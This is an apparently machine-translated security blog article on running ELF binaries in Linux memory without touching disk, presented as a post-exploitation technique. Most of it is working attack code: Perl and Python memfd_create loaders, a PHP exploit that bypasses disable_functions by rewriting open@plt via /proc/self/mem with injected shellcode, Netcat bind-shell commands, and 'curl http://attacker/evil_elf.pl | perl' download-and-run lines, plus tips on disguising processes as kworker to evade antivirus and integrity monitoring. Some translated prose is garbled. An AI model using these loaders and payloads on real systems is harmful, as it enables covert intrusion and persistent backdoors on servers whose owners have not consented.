📜 ⬆️ ⬇️

Elves in memory. Run ELF in Linux RAM


Fileless malware distribution is gaining popularity. What is not surprising, because the work of such programs leaves little trace. In this article, we will not deal with the techniques of running programs in Windows memory. Let's concentrate on GNU / Linux. Linux is rightfully dominant in the server segment, lives on millions of embedded devices and provides the vast majority of web resources. Next, we will make a small review of the possibilities of executing programs in memory and demonstrate that this is possible even in difficult conditions.


Techniques of fileless execution of programs are secretive, it is extremely difficult to detect and track their use. File system integrity controls will not alert the administrator, since no disk write operations or file changes on the disk occur. Antivirus software (often neglected by * nix users) often does not track program memory after startup. In addition, in many GNU / Linux distributions immediately after installation, a wide range of various debugging tools, interpreters, compilers of programming languages ​​and libraries are available for them. All this creates excellent conditions for using the technology of covert, fileless program execution. But besides the advantages of their use, there are drawbacks - these programs do not survive de-energizing or rebooting the target host. But while the host is running, the program is working.


Such techniques can and should be used not only for the distribution of malware. If you are critical to the speed of your program - unload it into RAM. Actually, many Linux distributions feel great completely starting up in RAM, which allows you to work with hard disks without saving any files on them. From the point of view of information security auditing, covert program execution methods are very useful as a post-exploitation and reconnaissance stage within the target network perimeter. Especially if the maximum secrecy is one of the conditions of the audit.
According to the portal barkly.com in 2018, already 35% of virus attacks account for harmful software running in memory.


In the case of Windows, attackers actively use Powershell pre-installed on the system in order to download and immediately execute the code. These techniques are widely distributed, including through the implementation of such frameworks as Powershell Empire, Powersploit and Metasploit Framework.


What about Linux?


In most cases, Linux distributions installed on hosts have a pre-installed set of software. "Out of the box", as a rule, interpreters of programming languages ​​are available: Python, Perl, C compiler. PHP is present in the appendage on the hosting sites. This condition provides the ability to execute code using these languages.


In Linux, we have several well-known code executions in memory.
The easiest way is to use a shared memory region that is pre-mounted on the file system.


By placing the executable file in the directory / dev / shm or / run / shm, you can achieve its execution directly in memory, given that these directories are nothing more than an area of ​​RAM mounted to the file system. But they can be viewed using ls like any other directory. And as a rule, these directories are mounted with the noexec flag, and the execution of programs in these directories is available only to the superuser. So, to be a little more inconspicuous, you need something else.


More noteworthy is the memfd_create (2) system call. This system call works approximately like malloc (3) , but returns not a pointer to a memory area, but a file descriptor to an anonymous file, which is visible in the file system only as a link to /proc/PID/fd/ , by which it can be executed using execve (2).
This is what the memfd_create system call manual page says (in Russian) :


"The name specified in the name is used as the file name and will be displayed as the target of the corresponding symbolic link in the directory. /proc/self/fd/ . The display name always starts with memfd: and serves only for debugging. The names do not affect the behavior of the file descriptor, and therefore multiple files can have the same name without any consequences. "


An example of using memfd_create() for the C language:


 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); } 

The code above uses memfd , creates a child process, sends its output to a temporary file, waits for the completion of the child process, and reads its output from the temporary file. Usually to redirect the output of one program to the input of another in * nix use pipe "|".


The ability to use syscall() is also in interpreted languages ​​such as perl, python, etc ... Next, consider one of the possible scenarios and demonstrate the ability to load executable files into memory using memfd_create() .


Perl


Suppose we have an entry point in the form of command injection.
We need a way to make system calls on the target system.
In perl, the syscall () function will help us with this.
We will also need a way to write our ELF directly to memory as the contents of an anonymous file.
To do this, we will place our ELF directly into the body of the script, which in turn will be transmitted to the target system via available command injection. Alternatively, you can also download the executable file over the network.
But before this is to make a reservation. We need to know the linux kernel version on the target host, since the memfd_create() system call we need is only available from versions 3.17 and higher.


Let's take a closer memfd_create() at memfd_create() and execve()


For our anonymous file, we will use the MFD_CLOEXEC constant, which "sets the close-on-exec (FD_CLOEXEC) flag close-on-exec (FD_CLOEXEC) for the new open file descriptor." This means our file descriptor will automatically close after we execute our ELF with execve()


Since we will use the syscall() function, we will need numeric values ​​to call our syscall and its parameter.
You can find them in /usr/include or on the Internet. The system call number can be found in #define starting with __NR_
In our case, memfd_create() is number 319 for a 64-bit OS. And the constant FD_CLOSEXEC 0x0001U (that is, 1 in the file linux/memfd.h )


Now we have all the necessary numerical values, and we can write in Perl an analogue memfd_create(name, MFD_CLOEXEC) from C.
We will also need to come up with the name of the file that will be displayed in /memfd:
It will be optimal to choose a name similar to [:kworker] or another one that is not suspicious.
For example, in the name parameter we will pass an empty string:


 my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; } 

Now we have an anonymous file descriptor in $ fd and we need to write the ELF to this file.
The open () function in perl is usually used to open files, but using the >&=FD construct, passing the descriptor instead of the file name to this function, we turn the already open file descriptor into a file handle.
We would also autoflush[] :


 open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]); 

Now we have a descriptor that refers to an anonymous file.


Next, we need to convert our executable file into data that can be put into the body of a Perl script.
To do this, perform:


 $ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary 

We will get many, many similar lines:


 print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/; 

Having executed them, we will place our executable file in memory. We will only have to run it.


fork ()


Optionally, we can use fork () . It is not at all necessary. But if we want to not just start ELF and kill the process, we will need to use fork() .
In general, creating a child process in perl looks like this:


 while ($keep_going) { my $pid = fork(); if (-1 == $pid) { # Error die "fork: $!"; } if (0 == $pid) { exit 0; } } 

The utility of fork() is also in the fact that, by calling it together with setsid (2) , you can separate the child process from the parent process and let the parent complete:


 #    my $pid = fork(); if (-1 == $pid) { # Error die "fork1: $!"; } if (0 != $pid) { #   exit 0; } #     if (-1 == syscall(112)) { die "setsid: $!"; } #    () $pid = fork(); if (-1 == $pid) { # Error die "fork2: $!"; } if (0 != $pid) { #    exit 0; } #   "" 

Now we can run ELF in a variety of processes.


Execve ()


Execve () is a system call that allows us to execute a program. Perl provides us with similar functionality through the Exec () function, which works just like the aforementioned system call, but it has a much simpler and more convenient syntax.
We need to transfer two things to exec() : the file we want to execute (our ELF loaded in advance), and the name of the process as one of the arguments passed. Usually the process name corresponds to the name of the executable file. But since in the listing of processes we will see /proc/PID/fd/3 , we will call our process somehow differently.
The exec() syntax is as follows:


 exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!"; 

The example above launches Netcat. But we would like to run something a little less like a backdoor.
A running process will not have a link to an anonymous file in /proc/PID/fd , but we can always find our ELF at the link /proc/PID/exe , which points to the file of the running process.
So we launched ELF in Linux memory, without touching the disk and even the file system.
You can quickly and conveniently download our executable file to the target system, for example, by passing a script to the Perl interpreter, in whose body we placed the ELF and placed it on an external web hosting service: $ curl http://attacker/evil_elf.pl | perl $ curl http://attacker/evil_elf.pl | perl


Python


Similar to the Perl version, we need to do the following:



 import ctypes import os #   .     - binary = open('/tmp/rev-shell','rb').read() fd = ctypes.CDLL(None).syscall(319,"",1) #  memfd_create     final_fd = open('/proc/self/fd/'+str(fd),'wb') #    . final_fd.write(binary) final_fd.close() fork1 = os.fork() #   if 0 != fork1: os._exit(0) ctypes.CDLL(None).syscall(112) #  setsid()     . fork2 = os.fork() #     . if 0 != fork2: os._exit(0) os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') #    . 

In the case of python, to call syscall we need a standard ctypes and os module to write and execute a file and control the process. Everything is completely analogous to the perl variant.
In the code above, we write into memory a file previously placed in the /tmp/ . However, nothing prevents us from downloading the file from the web server.


Php


At this stage, we can already use perl and python. Interpreters of these languages ​​are installed by default in many operating systems. But the most interesting, as always, ahead.
If for some reason, perl or python interpreters are not available to us, it would be great to use PHP. This language is very popular among web developers. And if we have already found the ability to execute code in a web application, the PHP interpreter will most likely meet us.


Unfortunately, php has no built-in mechanisms for invoking syscall .
We came across a post from Beched on the rdot forum (Thank you Beched!), Which overwrites the open function on the system via procfs /proc/self/mem in the memory of the current process and disable_functions bypasses disable_functions .
We used this trick to rewrite the function on our code, which will cause the necessary system calls.
We will transfer the syscall the php interpreter as a shellcode on assembler.
System calls will need to be passed through a sequence of commands.
Let's start writing a PHP script. Next will be a lot of magic.


First, we denote the necessary parameters:


  $elf = file_get_contents("/bin/nc.traditional"); // elf_payload $args = "test -lvvp 31338 -e /bin/bash"; // argv0 argv1 argv2 ... 

Let us denote the shift - the upper and lower values ​​in the memory, where later we put our shellcode:


  function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } 

Further, the function with which the binary file is "unpacked". To do this, convert the binary data to the decimal representation using the hexdex () function from the bin2hex () binary data in the reverse order (for storage):


 function unp($value) { return hexdec(bin2hex(strrev($value))); } 

Next, the ELF format file is parsed to obtain offsets:


 function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } 

Additionally, we will display information about the installed version of PHP:


 if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n"; 

We verify the bitness of the operating system and the Linux kernel version:


 if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } 

In order to bypass the limitations of disable_functions , the script rewrites the address of the open@plt function on the fly. We have made several additions to the code, beched'a, and now we can put in memory our shellcode.


First you need to find a shift in the binary file of the PHP interpreter itself, for this we turn to /proc/self/exe and parse the executable file using the above parseelf() function:


 echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } 

Find the address of the open() function:


 echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); 

Now you can go directly to the download of our executable file.
First, create an anonymous file:


 $shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w'); 

Write the load in an anonymous file:


 fwrite($fp, $elf); 

Looking for file descriptor number:


 $found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; } 

Next, write to the stack the path to the executable file:


 fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack); 

And the launch arguments passed to the executable program:


 fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n"; 

Next, using the fork() call, we execute our payload:


 echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit(); 

Shellcode


A shellcode usually means a sequence of bytes that is placed in memory, and then executed — usually in the context of another program, using buffer overflow attacks and others. In our case, the shellcode does not return to us the command line prompt of the remote server (Shell itself), but allows us to execute the commands we need.


To get the necessary sequence of bytes, you can either write code in C, then translate it into assembly language, or write in assembler from scratch.


We will understand what lies behind the sequence of bytes from the listings above.


 push 57 pop rax syscall test eax, eax jnz quit 

The launch of our program begins with a fork . 57 is the number value of the system call identifier for 64-bit systems. The table can be found here .


Next we call setsid (numeric identifier 112) to convert the child process to the parent process:


 push 112 pop rax syscall 

Then we execute another fork :


 push 57 pop rax syscall test eax, eax jnz quit 

Then we execute the execve() already familiar to you:


 ; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret 

And we complete the process with exit() (60):


 ; exit quit: push 0 pop rdi push 60 pop rax syscall 

Thus, we have performed the replacement of the open () function code on the go. Our executable file was placed in memory and executed using PHP interpreter tools. System calls are presented in the form of shellcodes.


Metasploit Framework


To compile the techniques described above, we have prepared a module for MSF .


To add it to Metasploit, simply copy the module file to the $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb directory and then execute the reload_all command in the framework console.
To use our module, enter use post/linux/manage/download_exec_elf_in_memory (or another way, depending on the directory in which the module file was placed)
Before you use it, you must specify the necessary options. The list of options is displayed using the show options


ARGS - Arguments for the executable file


FILE - the path to the executable file. In our case, this is Netcat.


NAME is the process name. You can call it as you like. For example, for greater stealth it may be kworker: 1 well, or to demonstrate something comic, for example KittyCat


SESSION - meterpreter session. It is understood that this module will be used for post-operation purposes.


Further we denote the host on which the http-server with our load and its port will be located - in the SRVHOST and SRVPORT respectively.


VECTOR is the method by which the execution of the program in memory will be achieved, the parameter is not necessary if it is empty the script itself will determine the presence of the necessary interpreters. Currently supported by PHP, Python or Perl.


Execute using the exploit or run command



It works as follows - we specify the desired session, it can be either meterpreter, or the usual reverse-shell. Next, we indicate the local path to our elf, arguments and the desired name in the list of processes. After the start, the local web server will be launched for the payload hosting, and the session will be searched for "rocking chairs", currently curl and wget are supported. After finding at least one of them, a search will be performed for all interpreters, if we have not specified in the VECTOR parameter which one we need. Well, if successful, the command will be executed to load the payload from our web server and transfer it via pipe to the correct interpreter, i.e. something like $ curl http://hacker/payload.pl | perl $ curl http://hacker/payload.pl | perl


Instead of a conclusion.


Fileless loading of ELF files in Linux is a useful technique for penetration testing. This is a fairly silent way, able to withstand a wide range of anti-virus protection, integrity monitoring systems and monitoring systems that monitor changes in the contents of a hard disk. This way you can easily maintain access to the target system, while leaving a minimum of traces.
In this article, we used interpreted programming languages, often installed by default in Linux distributions, embedded firmware, routers, and mobile devices. Separately, I would like to thank the author of this article , who inspired us to this recording.


')

Source: https://habr.com/ru/post/430902/


All Articles